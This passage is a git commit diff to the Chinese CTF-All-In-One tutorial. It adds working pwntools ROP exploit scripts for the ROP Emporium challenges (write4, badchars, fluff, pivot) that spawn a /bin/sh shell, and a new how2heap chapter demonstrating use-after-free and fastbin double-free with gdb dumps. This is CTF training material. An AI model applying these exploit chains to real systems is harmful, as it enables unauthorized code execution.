mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
update 3.3.5
This commit is contained in:
parent
182316d0b6
commit
67504aa4cc
@ -69,7 +69,7 @@
|
||||
- [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md)
|
||||
- [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md)
|
||||
- [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md)
|
||||
- [3.3.5 堆溢出](doc/3.3.5_heap_overflow.md)
|
||||
- [3.3.5 堆利用](doc/3.3.5_heap_exploit.md)
|
||||
- [3.4 Web](doc/3.4_web.md)
|
||||
- [3.5 Misc](doc/3.5_misc.md)
|
||||
- [3.6 Mobile](doc/3.6_mobile.md)
|
||||
|
@ -60,7 +60,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One
|
||||
* [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md)
|
||||
* [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md)
|
||||
* [3.3.4 返回导向编程(ROP)](doc/3.3.4_rop.md)
|
||||
* [3.3.5 堆溢出](doc/3.3.5_heap_overflow.md)
|
||||
* [3.3.5 堆利用](doc/3.3.5_heap_exploit.md)
|
||||
* [3.4 Web](doc/3.4_web.md)
|
||||
* [3.5 Misc](doc/3.5_misc.md)
|
||||
* [3.6 Mobile](doc/3.6_mobile.md)
|
||||
|
237
doc/3.3.4_rop.md
237
doc/3.3.4_rop.md
@ -18,7 +18,6 @@
|
||||
- [fluff](#fluff)
|
||||
- [pivot32](#pivot32)
|
||||
- [pivot](#pivot)
|
||||
- [练习](#练习)
|
||||
- [更多资料](#更多资料)
|
||||
|
||||
|
||||
@ -384,8 +383,7 @@ $ python2 -c "print 'A'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split3
|
||||
```python
|
||||
from zio import *
|
||||
|
||||
payload = ""
|
||||
payload += "A"*44
|
||||
payload = "A"*44
|
||||
payload += l32(0x08048430)
|
||||
payload += "BBBB"
|
||||
payload += l32(0x0804a030)
|
||||
@ -454,8 +452,7 @@ End of assembler dump.
|
||||
```python
|
||||
from zio import *
|
||||
|
||||
payload = ""
|
||||
payload += "A"*40
|
||||
payload = "A"*40
|
||||
payload += l64(0x00400883)
|
||||
payload += l64(0x00601060)
|
||||
payload += l64(0x4005e0)
|
||||
@ -500,8 +497,7 @@ Searching for ROP gadget: 'add esp, 8' in: binary ranges
|
||||
```python
|
||||
from zio import *
|
||||
|
||||
payload = ""
|
||||
payload += "A"*44
|
||||
payload = "A"*44
|
||||
|
||||
payload += l32(0x080485c0)
|
||||
payload += l32(0x080488a9)
|
||||
@ -539,8 +535,7 @@ payload 如下:
|
||||
```python
|
||||
from zio import *
|
||||
|
||||
payload = ""
|
||||
payload += "A"*40
|
||||
payload = "A"*40
|
||||
|
||||
payload += l64(0x00401ab0)
|
||||
payload += l64(0x1) + l64(0x2) + l64(0x3)
|
||||
@ -621,7 +616,36 @@ ROPE{a_placeholder_32byte_flag!}
|
||||
|
||||
#### write4
|
||||
64 位程序就可以一次性写入了。
|
||||
```
|
||||
$ ropgadget --binary write4 --only "mov|pop|ret"
|
||||
...
|
||||
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
|
||||
0x0000000000400890 : pop r14 ; pop r15 ; ret
|
||||
0x0000000000400893 : pop rdi ; ret
|
||||
```
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
pop_r14_r15 = 0x0000000000400890
|
||||
mov_r14_r15 = 0x0000000000400820
|
||||
pop_rdi = 0x0000000000400893
|
||||
data_addr = 0x0000000000601050
|
||||
system_plt = 0x004005e0
|
||||
|
||||
payload = "A"*40
|
||||
payload += p64(pop_r14_r15)
|
||||
payload += p64(data_addr)
|
||||
payload += "/bin/sh\x00"
|
||||
payload += p64(mov_r14_r15)
|
||||
payload += p64(pop_rdi)
|
||||
payload += p64(data_addr)
|
||||
payload += p64(system_plt)
|
||||
|
||||
io = process('./write4')
|
||||
io.recvuntil('>')
|
||||
io.sendline(payload)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
#### badchars32
|
||||
在这个挑战中,我们依然要将 `/bin/sh` 写入到进程内存中,但这一次程序在读取输入时会对敏感字符进行检查,查看函数 `checkBadchars()`:
|
||||
@ -712,8 +736,7 @@ while(1):
|
||||
break
|
||||
|
||||
# write
|
||||
payload = ""
|
||||
payload += "A"*44
|
||||
payload = "A"*44
|
||||
payload += l32(pop_esi_edi)
|
||||
payload += binsh[:4]
|
||||
payload += l32(data_addr)
|
||||
@ -742,6 +765,62 @@ io.interact()
|
||||
|
||||
#### badchars
|
||||
64 位程序也是一样的,注意参数传递就好了。
|
||||
```
|
||||
$ ropgadget --binary badchars --only "mov|pop|ret|xor"
|
||||
...
|
||||
0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
|
||||
0x0000000000400b3b : pop r12 ; pop r13 ; ret
|
||||
0x0000000000400b40 : pop r14 ; pop r15 ; ret
|
||||
0x0000000000400b30 : xor byte ptr [r15], r14b ; ret
|
||||
0x0000000000400b39 : pop rdi ; ret
|
||||
```
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
pop_r12_r13 = 0x0000000000400b3b
|
||||
mov_r13_r12 = 0x0000000000400b34
|
||||
pop_r14_r15 = 0x0000000000400b40
|
||||
xor_r15_r14b = 0x0000000000400b30
|
||||
pop_rdi = 0x0000000000400b39
|
||||
|
||||
system_plt = 0x00000000004006f0
|
||||
data_addr = 0x0000000000601000
|
||||
|
||||
badchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]
|
||||
xor_byte = 0x1
|
||||
while(1):
|
||||
binsh = ""
|
||||
for i in "/bin/sh\x00":
|
||||
c = ord(i) ^ xor_byte
|
||||
if c in badchars:
|
||||
xor_byte += 1
|
||||
break
|
||||
else:
|
||||
binsh += chr(c)
|
||||
if len(binsh) == 8:
|
||||
break
|
||||
|
||||
payload = "A"*40
|
||||
payload += p64(pop_r12_r13)
|
||||
payload += binsh
|
||||
payload += p64(data_addr)
|
||||
payload += p64(mov_r13_r12)
|
||||
|
||||
for i in range(len(binsh)):
|
||||
payload += p64(pop_r14_r15)
|
||||
payload += p64(xor_byte)
|
||||
payload += p64(data_addr + i)
|
||||
payload += p64(xor_r15_r14b)
|
||||
|
||||
payload += p64(pop_rdi)
|
||||
payload += p64(data_addr)
|
||||
payload += p64(system_plt)
|
||||
|
||||
io = process('./badchars')
|
||||
io.recvuntil('>')
|
||||
io.sendline(payload)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
#### fluff32
|
||||
这个练习与上面没有太大区别,难点在于我们能找到的 gadgets 不是那么直接,有一个技巧是因为我们的目的是写入字符串,那么必然需要 `mov [reg], reg` 这样的 gadgets,我们就从这里出发,倒推所需的 gadgets。
|
||||
@ -769,8 +848,7 @@ xor_edx_edx = 0x08048671
|
||||
|
||||
def write_data(data, addr):
|
||||
# addr -> ecx
|
||||
payload = ""
|
||||
payload += l32(xor_edx_edx)
|
||||
payload = l32(xor_edx_edx)
|
||||
payload += "BBBB"
|
||||
payload += l32(pop_ebx)
|
||||
payload += l32(addr)
|
||||
@ -794,8 +872,7 @@ def write_data(data, addr):
|
||||
|
||||
return payload
|
||||
|
||||
payload = ""
|
||||
payload += "A"*44
|
||||
payload = "A"*44
|
||||
|
||||
payload += write_data("/bin", data_addr)
|
||||
payload += write_data("/sh\x00", data_addr + 4)
|
||||
@ -811,6 +888,62 @@ io.interact()
|
||||
|
||||
#### fluff
|
||||
提示:在使用 ropgadget 搜索时加上参数 `--depth` 可以得到更大长度的 gadgets。
|
||||
```
|
||||
$ ropgadget --binary fluff --only "mov|pop|ret|xor|xchg" --depth 20
|
||||
...
|
||||
0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret
|
||||
0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
|
||||
0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
|
||||
0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
|
||||
0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
|
||||
```
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
system_plt = 0x004005e0
|
||||
data_addr = 0x0000000000601050
|
||||
|
||||
xor_r11_r11 = 0x0000000000400822
|
||||
xor_r11_r12 = 0x000000000040082f
|
||||
xchg_r11_r10 = 0x0000000000400840
|
||||
mov_r10_r11 = 0x000000000040084c
|
||||
pop_r12 = 0x0000000000400832
|
||||
|
||||
def write_data(data, addr):
|
||||
# addr -> r10
|
||||
payload = p64(xor_r11_r11)
|
||||
payload += "BBBBBBBB"
|
||||
payload += p64(pop_r12)
|
||||
payload += p64(addr)
|
||||
payload += p64(xor_r11_r12)
|
||||
payload += "BBBBBBBB"
|
||||
payload += p64(xchg_r11_r10)
|
||||
payload += "BBBBBBBB"
|
||||
|
||||
# data -> r11
|
||||
payload += p64(xor_r11_r11)
|
||||
payload += "BBBBBBBB"
|
||||
payload += p64(pop_r12)
|
||||
payload += data
|
||||
payload += p64(xor_r11_r12)
|
||||
payload += "BBBBBBBB"
|
||||
|
||||
# r11 -> [r10]
|
||||
payload += p64(mov_r10_r11)
|
||||
payload += "BBBBBBBB"*2
|
||||
payload += p64(0)
|
||||
|
||||
return payload
|
||||
|
||||
payload = "A"*40
|
||||
payload += write_data("/bin/sh\x00", data_addr)
|
||||
payload += p64(system_plt)
|
||||
|
||||
io = process('./fluff')
|
||||
io.recvuntil('>')
|
||||
io.sendline(payload)
|
||||
io.interactive()
|
||||
```
|
||||
|
||||
#### pivot32
|
||||
这是挑战的最后一题,难度突然增加。首先是动态库,动态库中函数的相对位置是固定的,所以如果我们知道其中一个函数的地址,就可以通过相对位置关系得到其他任意函数的地址。在开启 ASLR 的情况下,动态库加载到内存中的地址是变化的,但并不影响库中函数的相对位置,所以我们要想办法先泄露出某个函数的地址,从而得到目标函数地址。
|
||||
@ -876,8 +1009,7 @@ leakaddr = int(io.recv().split()[20], 16)
|
||||
|
||||
# calls foothold_function() to populate its GOT entry, then queries that value into EAX
|
||||
#gdb.attach(io)
|
||||
payload_1 = ""
|
||||
payload_1 += p32(foothold_plt)
|
||||
payload_1 = p32(foothold_plt)
|
||||
payload_1 += p32(pop_eax)
|
||||
payload_1 += p32(foothold_got_plt)
|
||||
payload_1 += p32(mov_eax_eax)
|
||||
@ -889,12 +1021,10 @@ payload_1 += p32(call_eax)
|
||||
io.sendline(payload_1)
|
||||
|
||||
# ebp = leakaddr-4, esp = leave_ret
|
||||
payload_2 = ""
|
||||
payload_2 += "A"*40
|
||||
payload_2 = "A"*40
|
||||
payload_2 += p32(leakaddr-4) + p32(leave_ret)
|
||||
|
||||
io.sendline(payload_2)
|
||||
|
||||
print io.recvall()
|
||||
```
|
||||
|
||||
@ -1249,22 +1379,75 @@ Legend: code, data, rodata, value
|
||||
#### pivot
|
||||
基本同上,但你可以尝试把修改 rsp 的部分也用 gadgets 来实现,这样做的好处是我们不需要伪造一个堆栈,即不用管 ebp 的地址。如:
|
||||
```python
|
||||
payload_2 = ""
|
||||
payload_2 += "A" * 40
|
||||
payload_2 = "A" * 40
|
||||
payload_2 += p64(pop_rax)
|
||||
payload_2 += p64(leakaddr)
|
||||
payload_2 += p64(xchg_rax_rsp)
|
||||
```
|
||||
|
||||
实际上,我本人正是使用这种方法,因为我在构建 payload 时,`0x0000000000400ae0 <+165>: leave`,leave;ret 的地址存在截断字符 `0a`,这样就不能通过正常的方式写入缓冲区,当然这也是可以解决的,比如先将 `0a` 换成非截断字符,之后再使用寄存器将 `0a` 写入该地址,这也是通常解决缓冲区中截断字符的方法,但是这样做难度太大,不推荐,感兴趣的读者可以尝试一下。
|
||||
|
||||
```
|
||||
$ ropgadget --binary pivot --only "mov|pop|call|add|xchg|ret"
|
||||
0x0000000000400b09 : add rax, rbp ; ret
|
||||
0x000000000040098e : call rax
|
||||
0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
|
||||
0x0000000000400b00 : pop rax ; ret
|
||||
0x0000000000400900 : pop rbp ; ret
|
||||
0x0000000000400b02 : xchg rax, rsp ; ret
|
||||
```
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
#context.log_level = 'debug'
|
||||
#context.terminal = ['konsole']
|
||||
io = process('./pivot')
|
||||
elf = ELF('./pivot')
|
||||
libp = ELF('./libpivot.so')
|
||||
|
||||
leave_ret = 0x0000000000400adf
|
||||
|
||||
foothold_plt = elf.plt['foothold_function'] # 0x400850
|
||||
foothold_got_plt = elf.got['foothold_function'] # 0x602048
|
||||
|
||||
pop_rax = 0x0000000000400b00
|
||||
pop_rbp = 0x0000000000400900
|
||||
mov_rax_rax = 0x0000000000400b05
|
||||
xchg_rax_rsp = 0x0000000000400b02
|
||||
add_rax_rbp = 0x0000000000400b09
|
||||
call_rax = 0x000000000040098e
|
||||
|
||||
foothold_sym = libp.symbols['foothold_function']
|
||||
ret2win_sym = libp.symbols['ret2win']
|
||||
offset = int(ret2win_sym - foothold_sym) # 0x14e
|
||||
|
||||
leakaddr = int(io.recv().split()[20], 16)
|
||||
|
||||
# calls foothold_function() to populate its GOT entry, then queries that value into EAX
|
||||
#gdb.attach(io)
|
||||
payload_1 = p64(foothold_plt)
|
||||
payload_1 += p64(pop_rax)
|
||||
payload_1 += p64(foothold_got_plt)
|
||||
payload_1 += p64(mov_rax_rax)
|
||||
payload_1 += p64(pop_rbp)
|
||||
payload_1 += p64(offset)
|
||||
payload_1 += p64(add_rax_rbp)
|
||||
payload_1 += p64(call_rax)
|
||||
|
||||
io.sendline(payload_1)
|
||||
|
||||
# rsp = leakaddr
|
||||
payload_2 = "A" * 40
|
||||
payload_2 += p64(pop_rax)
|
||||
payload_2 += p64(leakaddr)
|
||||
payload_2 += p64(xchg_rax_rsp)
|
||||
|
||||
io.sendline(payload_2)
|
||||
print io.recvall()
|
||||
```
|
||||
|
||||
这样基本的 ROP 也就介绍完了,更高级的用法会在后面的章节中再介绍,所谓的高级,也就是 gadgets 构造更加巧妙,运用操作系统的知识更加底层而已。
|
||||
|
||||
|
||||
## 练习
|
||||
ROP Emporium 中有几个 64 位程序在这里没有给出 payload,就留作练习吧,答案都可以在这里找到:[ROP Emporium Writeup](https://firmianay.github.io/2017/11/02/rop_emporium.html)
|
||||
|
||||
|
||||
## 更多资料
|
||||
- [ROP Emporium](https://ropemporium.com)
|
||||
- [一步一步学 ROP 系列](https://github.com/zhengmin1989/ROP_STEP_BY_STEP)
|
||||
|
533
doc/3.3.5_heap_exploit.md
Normal file
533
doc/3.3.5_heap_exploit.md
Normal file
@ -0,0 +1,533 @@
|
||||
# 3.3.5 堆利用
|
||||
|
||||
- [Linux 堆简介](#linux-堆简介)
|
||||
- [how2heap](#how2heap)
|
||||
- [first_fit](#firstfit)
|
||||
- [fastbin_dup](#fastbindup)
|
||||
- [fastbin_dup_into_stack](#fastbindupintostack)
|
||||
- [unsafe_unlink](#unsafeunlink)
|
||||
- [house_of_spirit](#houseofspirit)
|
||||
- [poison_null_byte](#poisonnullbyte)
|
||||
- [house_of_lore](#houseoflore)
|
||||
- [overlapping_chunks](#overlappingchunks)
|
||||
- [overlapping_chunks_2](#overlappingchunks2)
|
||||
- [house_of_force](#houseofforce)
|
||||
- [unsorted_bin_attack](#unsortedbinattack)
|
||||
- [house_of_einherjar](#houseofeinherjar)
|
||||
- [house_of_orange](#houseoforange)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## Linux 堆简介
|
||||
堆是程序虚拟地址空间中的一块连续的区域,由低地址向高地址增长。当前 Linux 使用的堆分配器被称为 ptmalloc2,在 glibc 中实现。
|
||||
|
||||
更详细的我们已经在章节 1.5.8 中介绍了,章节 1.5.7 中也有相关内容,请回顾一下。
|
||||
|
||||
|
||||
## how2heap
|
||||
how2heap 是由 shellphish 团队制作的堆利用教程,介绍了多种堆利用技术,这篇文章我们就通过这个教程来学习。推荐使用 Ubuntu 16.04 64位系统环境,glibc 版本如下:
|
||||
```
|
||||
$ file /lib/x86_64-linux-gnu/libc-2.23.so
|
||||
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
|
||||
```
|
||||
```
|
||||
$ git clone https://github.com/shellphish/how2heap.git
|
||||
$ cd how2heap
|
||||
$ make
|
||||
```
|
||||
|
||||
请注意,下文中贴出的代码是我简化过的,剔除和修改了一些不必要的注释和代码,以方便学习。另外,正如章节 4.3 中所讲的,添加编译参数 `CFLAGS += -fsanitize=address` 可以检测内存错误。[下载文件](../src/Others/3.3.5_heap_exploit)
|
||||
|
||||
#### first_fit
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int main() {
|
||||
char* a = malloc(512);
|
||||
char* b = malloc(256);
|
||||
char* c;
|
||||
|
||||
fprintf(stderr, "1st malloc(512): %p\n", a);
|
||||
fprintf(stderr, "2nd malloc(256): %p\n", b);
|
||||
strcpy(a, "AAAAAAAA");
|
||||
strcpy(b, "BBBBBBBB");
|
||||
fprintf(stderr, "first allocation %p points to %s\n", a, a);
|
||||
|
||||
fprintf(stderr, "Freeing the first one...\n");
|
||||
free(a);
|
||||
|
||||
c = malloc(500);
|
||||
fprintf(stderr, "3rd malloc(500): %p\n", c);
|
||||
strcpy(c, "CCCCCCCC");
|
||||
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
|
||||
fprintf(stderr, "first allocation %p points to %s\n", a, a);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g first_fit.c
|
||||
$ ./a.out
|
||||
1st malloc(512): 0x1380010
|
||||
2nd malloc(256): 0x1380220
|
||||
first allocation 0x1380010 points to AAAAAAAA
|
||||
Freeing the first one...
|
||||
3rd malloc(500): 0x1380010
|
||||
3rd allocation 0x1380010 points to CCCCCCCC
|
||||
first allocation 0x1380010 points to CCCCCCCC
|
||||
```
|
||||
这第一个程序展示了 glibc 堆分配的策略,即 first-fit。在分配内存时,malloc 会先到 unsorted bin(或者fastbins) 中查找适合的被 free 的 chunk,如果没有,就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk,并把它重新分配。
|
||||
|
||||
在 gdb 中调试,两个 malloc 之后(chunk 位于 malloc 返回地址减去 0x10 的位置):
|
||||
```
|
||||
gef➤ x/5gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a
|
||||
0x602010: 0x4141414141414141 0x0000000000000000
|
||||
0x602020: 0x0000000000000000
|
||||
gef➤ x/5gx 0x602220-0x10
|
||||
0x602210: 0x0000000000000000 0x0000000000000111 <-- chunk b
|
||||
0x602220: 0x4242424242424242 0x0000000000000000
|
||||
0x602230: 0x0000000000000000
|
||||
```
|
||||
第一个 free 之后,将其加入到 unsorted bin 中:
|
||||
```
|
||||
gef➤ x/5gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a [be freed]
|
||||
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd pointer, bk pointer
|
||||
0x602020: 0x0000000000000000
|
||||
gef➤ x/5gx 0x602220-0x10
|
||||
0x602210: 0x0000000000000210 0x0000000000000110 <-- chunk b
|
||||
0x602220: 0x4242424242424242 0x0000000000000000
|
||||
0x602230: 0x0000000000000000
|
||||
gef➤ heap bins unsorted
|
||||
[ Unsorted Bin for arena 'main_arena' ]
|
||||
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
|
||||
→ Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE)
|
||||
[+] Found 1 chunks in unsorted bin.
|
||||
```
|
||||
第三个 malloc 之后:
|
||||
```
|
||||
gef➤ x/5gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk c
|
||||
0x602010: 0x4343434343434343 0x00007ffff7dd1d00
|
||||
0x602020: 0x0000000000000000
|
||||
gef➤ x/5gx 0x602220-0x10
|
||||
0x602210: 0x0000000000000210 0x0000000000000111 <-- chunk b
|
||||
0x602220: 0x4242424242424242 0x0000000000000000
|
||||
0x602230: 0x0000000000000000
|
||||
```
|
||||
|
||||
好了,现在我们加上内存检测参数重新编译:
|
||||
```
|
||||
$ gcc -fsanitize=address -g first_fit.c
|
||||
$ ./a.out
|
||||
1st malloc(512): 0x61500000fd00
|
||||
2nd malloc(256): 0x611000009f00
|
||||
first allocation 0x61500000fd00 points to AAAAAAAA
|
||||
Freeing the first one...
|
||||
3rd malloc(500): 0x61500000fa80
|
||||
3rd allocation 0x61500000fa80 points to CCCCCCCC
|
||||
=================================================================
|
||||
==4525==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f49d14a61e9 bp 0x7ffe40b526e0 sp 0x7ffe40b51e58
|
||||
READ of size 2 at 0x61500000fd00 thread T0
|
||||
#0 0x7f49d14a61e8 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8)
|
||||
#1 0x7f49d14a6bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc)
|
||||
#2 0x7f49d14a6cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9)
|
||||
#3 0x400b8b in main /home/firmy/how2heap/first_fit.c:23
|
||||
#4 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
#5 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
|
||||
|
||||
0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00)
|
||||
freed by thread T0 here:
|
||||
#0 0x7f49d14de2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
|
||||
#1 0x400aa2 in main /home/firmy/how2heap/first_fit.c:17
|
||||
#2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
|
||||
previously allocated by thread T0 here:
|
||||
#0 0x7f49d14de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
|
||||
#1 0x400957 in main /home/firmy/how2heap/first_fit.c:6
|
||||
#2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
|
||||
```
|
||||
一个很明显的 use-after-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。
|
||||
|
||||
#### fastbin_dup
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
|
||||
int main() {
|
||||
fprintf(stderr, "Allocating 3 buffers.\n");
|
||||
char *a = malloc(9);
|
||||
char *b = malloc(9);
|
||||
char *c = malloc(9);
|
||||
strcpy(a, "AAAAAAAA");
|
||||
strcpy(b, "BBBBBBBB");
|
||||
strcpy(c, "CCCCCCCC");
|
||||
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
|
||||
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
|
||||
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
|
||||
|
||||
fprintf(stderr, "Freeing the first one %p.\n", a);
|
||||
free(a);
|
||||
fprintf(stderr, "Then freeing another one %p.\n", b);
|
||||
free(b);
|
||||
fprintf(stderr, "Freeing the first one %p again.\n", a);
|
||||
free(a);
|
||||
|
||||
fprintf(stderr, "Allocating 3 buffers.\n");
|
||||
char *d = malloc(9);
|
||||
char *e = malloc(9);
|
||||
char *f = malloc(9);
|
||||
strcpy(d, "DDDDDDDD");
|
||||
fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
|
||||
strcpy(e, "EEEEEEEE");
|
||||
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
|
||||
strcpy(f, "FFFFFFFF");
|
||||
fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
|
||||
}
|
||||
```
|
||||
```
|
||||
$ gcc -g fastbin_dup.c
|
||||
$ ./a.out
|
||||
Allocating 3 buffers.
|
||||
1st malloc(9) 0x1c07010 points to AAAAAAAA
|
||||
2nd malloc(9) 0x1c07030 points to BBBBBBBB
|
||||
3rd malloc(9) 0x1c07050 points to CCCCCCCC
|
||||
Freeing the first one 0x1c07010.
|
||||
Then freeing another one 0x1c07030.
|
||||
Freeing the first one 0x1c07010 again.
|
||||
Allocating 3 buffers.
|
||||
4st malloc(9) 0x1c07010 points to DDDDDDDD the first time
|
||||
5nd malloc(9) 0x1c07030 points to EEEEEEEE
|
||||
6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time
|
||||
```
|
||||
这个程序展示了利用 fastbins 的 double-free 攻击。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk,所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
|
||||
|
||||
三个 malloc 之后:
|
||||
```
|
||||
gef➤ x/15gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a
|
||||
0x602010: 0x4141414141414141 0x0000000000000000
|
||||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
|
||||
0x602030: 0x4242424242424242 0x0000000000000000
|
||||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||||
0x602050: 0x4343434343434343 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk
|
||||
0x602070: 0x0000000000000000
|
||||
```
|
||||
第一个 free 之后,chunk a 被添加到 fastbins 中:
|
||||
```
|
||||
gef➤ x/15gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed]
|
||||
0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer
|
||||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
|
||||
0x602030: 0x4242424242424242 0x0000000000000000
|
||||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||||
0x602050: 0x4343434343434343 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||||
0x602070: 0x0000000000000000
|
||||
gef➤ heap bins fast
|
||||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
|
||||
```
|
||||
第二个 free 之后,chunk b 被添加到 fastbins 中:
|
||||
```
|
||||
gef➤ x/15gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed]
|
||||
0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer
|
||||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
|
||||
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
|
||||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||||
0x602050: 0x4343434343434343 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||||
0x602070: 0x0000000000000000
|
||||
gef➤ heap bins fast
|
||||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
|
||||
```
|
||||
第三个 free 之后,chunk a 再次被添加到 fastbins 中:
|
||||
```
|
||||
gef➤ x/15gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed again]
|
||||
0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer
|
||||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
|
||||
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
|
||||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||||
0x602050: 0x4343434343434343 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||||
0x602070: 0x0000000000000000
|
||||
gef➤ heap bins fast
|
||||
[ Fastbins for arena 0x7ffff7dd1b20 ]
|
||||
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected]
|
||||
```
|
||||
再三个 malloc 之后:
|
||||
```
|
||||
gef➤ x/15gx 0x602010-0x10
|
||||
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d, chunk f
|
||||
0x602010: 0x4646464646464646 0x0000000000000000
|
||||
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk e
|
||||
0x602030: 0x4545454545454545 0x0000000000000000
|
||||
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
|
||||
0x602050: 0x4343434343434343 0x0000000000000000
|
||||
0x602060: 0x0000000000000000 0x0000000000020fa1
|
||||
0x602070: 0x0000000000000000
|
||||
```
|
||||
|
||||
加上内存检测参数重新编译:
|
||||
```
|
||||
